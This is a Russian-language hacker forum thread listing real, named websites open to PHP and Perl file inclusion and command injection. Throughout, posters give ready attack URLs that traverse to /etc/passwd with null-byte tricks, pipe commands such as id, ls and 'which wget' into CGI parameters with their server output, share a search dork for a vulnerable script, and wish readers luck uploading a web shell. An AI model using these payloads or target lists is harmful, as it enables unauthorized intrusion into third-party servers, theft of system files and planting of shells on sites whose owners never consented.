PHP Иньекции

можно еще вот здесь покопатся

http:// de n.zp.ua/index.php?page=../filename

 

http://www.pubertaetverstehen.ch/index.php?pageid=../../../../../../../../../etc/passwd%00

 

Code:

http://fanforum.org.ua/misc.php?do=info&show=../../../../../../../../etc/passwd%00.html

Code:

http://www.itnr.ru/misc.php?do=info&show=../../../../../../../../etc/passwd%00.html

Code:

http://wirfilms.com/misc.php?do=info&show=../../../../../../../../etc/passwd%00.html

 

http://www.hcs.harvard.edu/gradmus/abstract.php?name=../../../../../../../../../../../../../../../etc/passwd%00

или так

http://www.hcs.harvard.edu/gradmus/abstract.php?name=../abstract.php%00

 

http://www.mtcwork.com.au/innovation.php?file=../../../../../../../../../../etc/passwd
OS: FreeBSD

 

U.S. Department of Housing and Urban Development

 

ololo

 

Master PFP (Printer Friendly Page) v1.7 - multi-file include

Здесь для этого, наверное, самое место.

Master PFP (Printer Friendly Page) v1.7 - multi-file include
Off.site: www.willmaster.com
Google: 'inurl:MasterPFP.pl?doc='

Скидываю оптом =]

На Офф.сайте:

Code:

www.willmaster.com/software/pfp/MasterPFP.cgi?doc=../../../

.edu

Code:

www.rsp.wisc.edu/scripts/MasterPFP.pl?doc=../../../../../etc/passwd

Выполнение команд:

Code:

http://www.insolvenzrechtstag.de/cgi-bin-local/masterpfp.cgi?doc=|ls|

Code:

http://www.german-philharmonic-bigband.de/cgi-bin-local/masterpfp.cgi?doc=|ls|

И т.д:

Code:

www.vtol.org/cgi-bin/masterpfp.cgi?doc=../../../../etc/passwd

Code:

www.womensweb.ca/cgi-bin/MasterPFP.cgi?doc=../../../../etc/passwd

Code:

www.dianaskitchen.com/cgi-bin/MasterPFP.cgi?doc=../../../etc/passwd

Code:

www.faktuell.de/cgi-bin/MasterPFP.cgi?doc=../../../../../etc/passwd

Code:

www.genuinecoaching.com/cgi/MasterPFP/MasterPFP.cgi?doc=../../../../../../../etc/passwd

Code:

www.delbert.com/cgi-bin/MasterPFP.cgi?doc=../../../../../etc/passwd

Code:

www.circare.org/FOIA/MasterPFP.cgi?doc=../../../etc/passwd

Code:

www.eagleforum.org/cgi_bin/print/MasterPFP.cgi?doc=../../../../../../etc/passwd

Code:

www.varstrat.com/cgi-bin/MasterPFP.cgi?doc=../../../../../etc/passwd

 

Code:

http://www.3sys.de/index/index.pl?url=download-index.de&seite=|id|

uid=30(wwwrun) gid=60001(visas) groups=60001(visas)

Code:

http://www.3sys.de/index/index.pl?url=download-index.de&seite=|which%20wget|

/usr/bin/wget


; ))))))

 

Еще немного скину

1)
leinebeerfilms.nl

Code:

http://www.kleinebeerfilms.nl/cgi-bin/index.pl?page=../../../../../../../../../etc/passwd%00.txt

neilthompson.us

Code:

http://www.neilthompson.us/iec5qz8twrqk/fhist/page.pl?page=|id|

uid=465686 gid=888(vusers) groups=33(www-data)

Code:

http://www.neilthompson.us/iec5qz8twrqk/fhist/page.pl?page=|which%20wget|

/usr/bin/wget

удачи с заливкой шелла ; ))

 

http://iah.ipm.illinois.edu/index.php?ch=../../etc/passwd

 

[PR 4]

Code:

http://www.sitemad.com/index.php?p=popup&tpl=/etc/passwd

[PR 3]

Code:

http://www.doc-darmer-net.de/hpmaker/index.php?p=/etc/passwd

[PR 2]

Code:

http://www.gustatus.org/index.php?p=index.php

 

Code:

http://mzrd.ru/?f=../../../../../../../../../../../../../etc/passwd%00

 

www.CBC.ca - Canadian News [PR 8]

Code:

www.cbc.ca/cgi-bin/quiz/quiz.cgi?quiz=../../../../../../../../etc/passwd%00

 

catenabrasil.com

 

WINNT

 

.edu.pl [PR 5]

Code:

http://www.amp.edu.pl/eng/index.php?strona=../../../../../../../../etc/passwd%00

 

Code:

http://www.beauteby.com/ru/gernetic/luxe.php?id=../../../../index

 

Code:

http://www.orion.ua/modules/CATALOG/download.php?file=../../../../../../../../../../../../../../../../../etc/passwd%00%00

LFI

Много чего интересного,но к сайтам на VPS закрыт доступ (((.Толком-то я там не исследовал ничего...httpd.conf оежит по стандартному пути - /etc/httpd/conf/httpd.conf

В общем,если что надыбаете - пишите в PM/ЛС/icq )

И ещё: Если фаил или папка существует,то выдаст на скачку .pdf фаил.Переименовываете его в .doc(Так сразу форматирует,не то,что txt) или в .html.Если html,то открываете IE(имхо - лучший вариант).Если фаила нету,то просто белый экран.Также проверяются и каталоги.Если нету прав,то выдастся на скачку фаил в 1 KB.Там будет ошибка в file_get_contents() и сама ошибка - Permission Denied.Вот и всё.Спасибо всем

 

Code:

http://www.wines.at/forum/setcookie.php?u=../../../../../../../../../../../../etc/passwd%00%00